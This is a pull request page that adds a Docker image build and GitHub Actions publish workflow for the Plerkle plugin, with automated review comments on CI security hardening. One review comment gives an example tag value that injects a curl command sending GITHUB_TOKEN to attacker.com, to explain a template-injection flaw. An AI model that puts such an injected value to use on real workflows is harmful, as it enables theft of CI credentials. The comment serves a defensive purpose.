Add multi-arch Plerkle plugin image - #104
Conversation
Summary by CodeRabbit
WalkthroughThis PR introduces container image build and release infrastructure for the Plerkle plugin. A new Dockerfile defines a multi-stage build that compiles the Rust plerkle package and packages the resulting shared library artifact. A GitHub Actions workflow orchestrates multi-architecture image builds for amd64 and arm64, handles GHCR authentication and push, and verifies both platform variants execute correctly. ChangesPlerkle Plugin Container Release Pipeline
Estimated code review effort🎯 2 (Simple) | ⏱️ ~10 minutes 🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
Actionable comments posted: 4
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/publish-plerkle-plugin.yml:
- Around line 42-44: Set persist-credentials: false on the actions/checkout step
and replace the tag pins with specific commit SHAs for actions referenced in
this workflow (e.g., actions/checkout@v4 → actions/checkout@<commit-sha>),
ensuring you update every occurrence (including setup-qemu-action@v3,
setup-buildx-action@v3, login-action@v3, build-push-action@v6) so tags are not
used; keep the existing ref: ${{ steps.resolve.outputs.ci_tag }} behavior but
add persist-credentials: false to the checkout step and substitute tag
references with their respective commit SHAs to prevent credential persistence
and tag-rewrite attacks.
- Around line 29-40: The run block currently interpolates ${{ inputs.tag }}
directly into the shell (assigning to tag) allowing shell injection; instead
expose the input as a GitHub Actions environment variable (e.g., CI_TAG from
inputs.tag) and in the script read that env var into a shell variable with
proper quoting (tag="$CI_TAG"), then use the quoted tag variable when writing CI
outputs and PLERKLE_PLUGIN_TAG/PLERKLE_PLUGIN_IMAGE; update references to use
the quoted tag and avoid direct ${{ inputs.tag }} expansions inside the run
script while preserving GITHUB_EVENT_NAME, tag, PLERKLE_PLUGIN_TAG and
PLERKLE_PLUGIN_IMAGE semantics.
- Around line 3-12: Add a top-level GitHub Actions concurrency block to the
workflow that prevents parallel runs for the same release tag: in the existing
workflow triggered by on: push (tags: ["v*"]) and workflow_dispatch (inputs.tag)
add a concurrency configuration using a unique group such as
"publish-plerkle-plugin-${{ github.ref }}" or "publish-plerkle-plugin-${{
github.event.inputs.tag || github.ref }}" and set cancel-in-progress: true so
concurrent runs for the same tag are serialized and newer manual dispatches
cancel in-progress builds.
In `@PlerklePlugin.Dockerfile`:
- Around line 27-33: Add a non-root user and switch to it in the Dockerfile to
harden the image: create a group and user (e.g., via RUN groupadd -r plerkle &&
useradd -r -g plerkle -d /plugin -s /sbin/nologin plerkle), ensure /plugin is
owned by that user (chown -R plerkle:plerkle /plugin) and then add a USER
plerkle line after copying the artifact; keep the existing FROM and COPY
instructions but make sure the COPY either preserves ownership or is followed by
a chown so the new unprivileged user can read the plugin.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: b2deb454-ea4f-4862-833b-08522cd3b6ed
📒 Files selected for processing (2)
.github/workflows/publish-plerkle-plugin.ymlPlerklePlugin.Dockerfile
| on: | ||
| push: | ||
| tags: | ||
| - "v*" | ||
| workflow_dispatch: | ||
| inputs: | ||
| tag: | ||
| description: "Release tag to publish, for example v3.0.1" | ||
| required: true | ||
| type: string |
There was a problem hiding this comment.
🧹 Nitpick | 🔵 Trivial | ⚡ Quick win
Consider adding concurrency controls to prevent parallel builds.
Without concurrency limits, multiple simultaneous triggers (e.g., manual dispatch while a tag push is running) could result in parallel builds of the same image, wasting resources and potentially causing race conditions in GHCR.
♻️ Recommended concurrency configuration
name: Publish Plerkle plugin image
on:
push:
tags:
- "v*"
workflow_dispatch:
inputs:
tag:
description: "Release tag to publish, for example v3.0.1"
required: true
type: string
+concurrency:
+ group: publish-plerkle-plugin-${{ github.event.inputs.tag || github.ref }}
+ cancel-in-progress: false
+
env:🧰 Tools
🪛 zizmor (1.25.2)
[warning] 3-12: insufficient job-level concurrency limits (concurrency-limits): workflow is missing concurrency setting
(concurrency-limits)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/publish-plerkle-plugin.yml around lines 3 - 12, Add a
top-level GitHub Actions concurrency block to the workflow that prevents
parallel runs for the same release tag: in the existing workflow triggered by
on: push (tags: ["v*"]) and workflow_dispatch (inputs.tag) add a concurrency
configuration using a unique group such as "publish-plerkle-plugin-${{
github.ref }}" or "publish-plerkle-plugin-${{ github.event.inputs.tag ||
github.ref }}" and set cancel-in-progress: true so concurrent runs for the same
tag are serialized and newer manual dispatches cancel in-progress builds.
| run: | | ||
| set -euo pipefail | ||
| if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then | ||
| tag="${{ inputs.tag }}" | ||
| else | ||
| tag="${GITHUB_REF#refs/tags/}" | ||
| fi | ||
| agave_version="${SOLANA_VERSION_STABLE#v}" | ||
| echo "ci_tag=${tag}" >> "$GITHUB_OUTPUT" | ||
| echo "CI_TAG=${tag}" >> "$GITHUB_ENV" | ||
| echo "PLERKLE_PLUGIN_TAG=${tag}-rust${RUST_VERSION}-agave${agave_version}" >> "$GITHUB_ENV" | ||
| echo "PLERKLE_PLUGIN_IMAGE=ghcr.io/${GITHUB_REPOSITORY_OWNER}/${PLERKLE_PLUGIN_IMAGE_NAME}" >> "$GITHUB_ENV" |
There was a problem hiding this comment.
Code injection vulnerability via unescaped template expansion.
Line 32 directly interpolates ${{ inputs.tag }} into a shell script without validation. An attacker with workflow_dispatch permissions could inject arbitrary shell commands via the tag input.
Example malicious input: v1.0.0"; curl attacker.com?token=$GITHUB_TOKEN #
🔒 Recommended fix using intermediate environment variable
- name: Resolve tag
id: resolve
+ env:
+ INPUT_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
if [[ "${GITHUB_EVENT_NAME}" == "workflow_dispatch" ]]; then
- tag="${{ inputs.tag }}"
+ tag="${INPUT_TAG}"
else
tag="${GITHUB_REF#refs/tags/}"
fi
agave_version="${SOLANA_VERSION_STABLE#v}"
echo "ci_tag=${tag}" >> "$GITHUB_OUTPUT"
echo "CI_TAG=${tag}" >> "$GITHUB_ENV"
echo "PLERKLE_PLUGIN_TAG=${tag}-rust${RUST_VERSION}-agave${agave_version}" >> "$GITHUB_ENV"
echo "PLERKLE_PLUGIN_IMAGE=ghcr.io/${GITHUB_REPOSITORY_OWNER}/${PLERKLE_PLUGIN_IMAGE_NAME}" >> "$GITHUB_ENV"This approach passes the input through an environment variable, preventing shell interpretation of special characters.
🧰 Tools
🪛 zizmor (1.25.2)
[error] 32-32: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/publish-plerkle-plugin.yml around lines 29 - 40, The run
block currently interpolates ${{ inputs.tag }} directly into the shell
(assigning to tag) allowing shell injection; instead expose the input as a
GitHub Actions environment variable (e.g., CI_TAG from inputs.tag) and in the
script read that env var into a shell variable with proper quoting
(tag="$CI_TAG"), then use the quoted tag variable when writing CI outputs and
PLERKLE_PLUGIN_TAG/PLERKLE_PLUGIN_IMAGE; update references to use the quoted tag
and avoid direct ${{ inputs.tag }} expansions inside the run script while
preserving GITHUB_EVENT_NAME, tag, PLERKLE_PLUGIN_TAG and PLERKLE_PLUGIN_IMAGE
semantics.
| - uses: actions/checkout@v4 | ||
| with: | ||
| ref: ${{ steps.resolve.outputs.ci_tag }} |
There was a problem hiding this comment.
🧹 Nitpick | 🔵 Trivial | ⚡ Quick win
Security hardening: Disable credential persistence and pin action to commit SHA.
Two security improvements:
- Setting
persist-credentials: falseprevents GitHub token from persisting in the checked-out repository - Pinning actions to commit SHAs rather than tags prevents tag-rewrite attacks
🔒 Recommended hardening
- - uses: actions/checkout@v4
+ - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
with:
ref: ${{ steps.resolve.outputs.ci_tag }}
+ persist-credentials: falseNote: You'll need to repeat SHA pinning for all actions in this workflow (setup-qemu-action@v3, setup-buildx-action@v3, login-action@v3, build-push-action@v6).
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - uses: actions/checkout@v4 | |
| with: | |
| ref: ${{ steps.resolve.outputs.ci_tag }} | |
| - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 | |
| with: | |
| ref: ${{ steps.resolve.outputs.ci_tag }} | |
| persist-credentials: false |
🧰 Tools
🪛 zizmor (1.25.2)
[warning] 42-44: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
[error] 42-42: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/publish-plerkle-plugin.yml around lines 42 - 44, Set
persist-credentials: false on the actions/checkout step and replace the tag pins
with specific commit SHAs for actions referenced in this workflow (e.g.,
actions/checkout@v4 → actions/checkout@<commit-sha>), ensuring you update every
occurrence (including setup-qemu-action@v3, setup-buildx-action@v3,
login-action@v3, build-push-action@v6) so tags are not used; keep the existing
ref: ${{ steps.resolve.outputs.ci_tag }} behavior but add persist-credentials:
false to the checkout step and substitute tag references with their respective
commit SHAs to prevent credential persistence and tag-rewrite attacks.
| FROM --platform=$TARGETPLATFORM debian:bullseye-slim | ||
|
|
||
| LABEL org.opencontainers.image.title="Plerkle Geyser Plugin" | ||
| LABEL org.opencontainers.image.description="Plerkle Geyser plugin artifact for DAS e2e validator images" | ||
| LABEL org.opencontainers.image.source="https://github.com/metaplex-foundation/digital-asset-validator-plugin" | ||
|
|
||
| COPY --from=builder /rust/target/release/libplerkle.so /plugin/plugin.so |
There was a problem hiding this comment.
🧹 Nitpick | 🔵 Trivial | 💤 Low value
Consider adding a non-root USER for security hardening.
The container runs as root. While this is acceptable for an artifact-only container, adding a non-root user would follow security best practices and satisfy static analysis tools.
🔒 Optional hardening to add non-root user
FROM --platform=$TARGETPLATFORM debian:bullseye-slim
LABEL org.opencontainers.image.title="Plerkle Geyser Plugin"
LABEL org.opencontainers.image.description="Plerkle Geyser plugin artifact for DAS e2e validator images"
LABEL org.opencontainers.image.source="https://github.com/metaplex-foundation/digital-asset-validator-plugin"
+RUN groupadd -r plerkle && useradd -r -g plerkle plerkle \
+ && mkdir -p /plugin && chown plerkle:plerkle /plugin
+
+USER plerkle
+
COPY --from=builder /rust/target/release/libplerkle.so /plugin/plugin.so🧰 Tools
🪛 Checkov (3.2.529)
[low] 1-33: Ensure that HEALTHCHECK instructions have been added to container images
(CKV_DOCKER_2)
[low] 1-33: Ensure that a user for the container has been created
(CKV_DOCKER_3)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@PlerklePlugin.Dockerfile` around lines 27 - 33, Add a non-root user and
switch to it in the Dockerfile to harden the image: create a group and user
(e.g., via RUN groupadd -r plerkle && useradd -r -g plerkle -d /plugin -s
/sbin/nologin plerkle), ensure /plugin is owned by that user (chown -R
plerkle:plerkle /plugin) and then add a USER plerkle line after copying the
artifact; keep the existing FROM and COPY instructions but make sure the COPY
either preserves ownership or is followed by a chown so the new unprivileged
user can read the plugin.
Summary
Validation
Rollout
After merge, run the new Publish Plerkle plugin image workflow for tag v3.0.1 before building the DAS Surfpool validator image.